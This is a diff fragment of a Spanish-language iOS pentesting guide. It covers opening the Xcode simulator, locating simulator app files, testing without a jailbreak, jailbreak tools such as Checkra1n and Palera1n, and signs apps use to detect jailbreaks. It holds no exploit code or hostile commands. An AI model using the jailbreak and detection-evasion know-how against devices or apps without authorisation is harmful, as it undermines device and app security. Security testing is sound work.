-Para abrir el simulador, ejecuta Xcode, luego presiona en la _pestaña de Xcode_ --> _Abrir herramientas de desarrollador_ --> _Simulador_\
-\_\_En la siguiente imagen, al hacer clic en "iPod touch \[...]" puedes seleccionar otro dispositivo para probar:
+Para abrir el simulador, ejecuta Xcode, luego presiona en la _pestaña de Xcode_ --> _Open Developer tools_ --> _Simulator_\
+\_\_En la imagen siguiente, al hacer clic en "iPod touch \[...]" puedes seleccionar otro dispositivo para probar:

 ![](<../../images/image (270).png>)

 ![](<../../images/image (520).png>)

-### Aplicaciones en el Simulador
+### Applications in the Simulator

 Dentro de `/Users/<username>/Library/Developer/CoreSimulator/Devices` puedes encontrar todos los **simuladores instalados**. Si deseas acceder a los archivos de una aplicación creada dentro de uno de los emuladores, puede ser difícil saber **en cuál está instalada la aplicación**. Una forma rápida de **encontrar el UID correcto** es ejecutar la aplicación en el simulador y ejecutar:
 ```bash
@ -54,7 +54,11 @@ Corellium es el único emulador de iOS disponible públicamente. Es una solució

 ## No se necesita Jailbreak

-Consulta esta publicación de blog sobre cómo hacer pentesting a una aplicación de iOS en un **dispositivo no jailbroken**: [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
+Consulta esta publicación de blog sobre cómo hacer pentesting a una aplicación de iOS en un **dispositivo no jailbroken**:
+
+{{#ref}}
+ios-pentesting-without-jailbreak.md
+{{#endref}}

 ## Jailbreaking

@ -84,7 +88,7 @@ Las actualizaciones de iOS están controladas por un **mecanismo de desafío-res

 ### Herramientas y Recursos de Jailbreaking

-Las herramientas de jailbreaking varían según la versión de iOS y el dispositivo. Recursos como [Can I Jailbreak?](https://canijailbreak.com), [The iPhone Wiki](https://www.theiphonewiki.com), y [Reddit Jailbreak](https://www.reddit.com/r/jailbreak/) proporcionan información actualizada. Ejemplos incluyen:
+Las herramientas de jailbreaking varían según la versión de iOS y el dispositivo. Recursos como [¿Puedo hacer Jailbreak?](https://canijailbreak.com), [The iPhone Wiki](https://www.theiphonewiki.com), y [Reddit Jailbreak](https://www.reddit.com/r/jailbreak/) proporcionan información actualizada. Ejemplos incluyen:

 - [Checkra1n](https://checkra.in/) para dispositivos con chip A7-A11.
 - [Palera1n](https://palera.in/) para dispositivos Checkm8 (A8-A11) en iOS 15.0-16.5.
@ -106,7 +110,7 @@ basic-ios-testing-operations.md

 **Varias aplicaciones intentarán detectar si el móvil está jailbroken y en ese caso la aplicación no se ejecutará**

- Después de hacer jailbreak a un iOS, **archivos y carpetas suelen instalarse**, estos pueden ser buscados para determinar si el dispositivo está jailbroken.
+- Después de hacer jailbreak a un iOS, **archivos y carpetas suelen ser instalados**, estos pueden ser buscados para determinar si el dispositivo está jailbroken.
 - En un dispositivo jailbroken, las aplicaciones obtienen **acceso de lectura/escritura a nuevos archivos** fuera del sandbox.
 - Algunas **llamadas de API** **se comportarán de manera diferente**.
 - La presencia del servicio **OpenSSH**.